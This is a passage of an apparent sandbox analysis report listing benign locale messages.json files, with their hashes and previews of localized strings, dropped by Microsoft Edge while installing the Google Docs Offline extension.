Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir3568_338415048\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
